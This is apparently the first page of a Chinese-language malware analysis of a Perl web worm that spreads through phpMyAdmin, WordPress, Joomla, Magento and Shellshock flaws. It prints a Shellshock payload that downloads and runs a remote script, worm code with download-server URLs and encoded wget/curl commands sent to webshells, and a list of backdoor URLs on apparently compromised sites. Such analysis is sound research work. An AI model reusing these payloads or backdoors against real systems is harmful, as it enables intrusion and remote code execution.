最近,一個很新穎而且強大的web蠕蟲被捕獲,它功能上相當於一個綜合漏洞掃描器。該蠕蟲主要利用一些web程式的高危漏洞進行傳播,其中包括phpmyadmin,wordpress,joomla,magento等等知名網站app的漏洞,還有破殼漏洞,ssh弱口令,sql注入,自動提權。
感染後的bot會從服務端接收指令,進行ddos攻擊,漏洞掃描感染其他主機,作為http proxy,產生irc服務端等等。分析發現已經感染的主機裡作為web proxy的網站已達1000個,後續我會把涉及的所有源碼分享(包括臭名昭著的phpmyadmin蠕蟲zmeu)。
0×01 起因
翻看vps web日誌時候看到了攻擊跡象,有zmeu的useragent,有shellshock的payload。
然後順藤摸瓜getshell了一個bot(通過wordpress的一個漏洞下載資料庫設定檔,用資料庫密碼成功登入wordpress,但是沒有安裝外掛程式許可權,在修改文章的地方插入insertPHP外掛程式解析的php代碼,韓語的折騰了1個多小時)。
在網站目錄裡找到一個功能很強大的php大馬,支援bypass safe mode,安裝代理等等,所以決定深入挖掘。
在這個bot上下載的一些源碼,發現了觸目驚心的CC程式。
0×02 分析
這個蠕蟲僅僅pl指令碼部分代碼已達上萬行,所以分析不當的地方請指出。Bot節點一旦掃描出某個伺服器存在漏洞,就在該漏洞主機上下載控制指令碼並執行,這個主機就淪為一個bot,最後會給控制者發送一封郵件註冊該被控主機。例如Shellshock的payload
"() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";
system(\"wget http://xxxserver.com/shell.txt -O /tmp/shell.txt;curl -O /tmp/shell.txt http:// xxxserver.com/shell.txt;
perl /tmp/shell.txt ; rm -rf shell.txt \");'"
我們從web漏洞感染做為主線分析一下流程。為了簡明我會把一些代碼省略掉。
初始化遠程下載伺服器位址:
my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php";
my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php";
#my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php";
#my $hostinjector = "wordpress.com.longlifeweld.com.my";
my $thumbid = "http://".$hostinjector."/petx.php";
my $thumbidx = "http://".$hostinjector."/cpx.php";
linux 下載指令,通過web參數傳遞的,bot成功利用漏洞getshell後,會把這些下載被控端指令碼的指令發送給webshell。
my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fmagic1.php";
my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
初始化1000個web代理後門地址,為後邊批量採集做準備
my @randombarner= ("http://www.lesyro.cz/administrator/components/com_media/helpers/errors.php",
"http://www.villaholidaycentre.co.uk/includes/js/calendar/lang/seka.php",
"http://viewwebinars.com/wp-includes/errors.php",
"http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php",
"http://www.linuxcompany.nl/modules/mod_login/error.php",
"http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php",
"http://liftoffconsulting.ca/wp-includes/errors.php",
"http://www.voileenligne.com/audio/komo.php",
"http://www.gingerteastudio.com//wp-content/uploads/components/search.php",
"www.audiovisionglobal.pe/online/includes/js/calendar/lang/search.php",
[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] 下一頁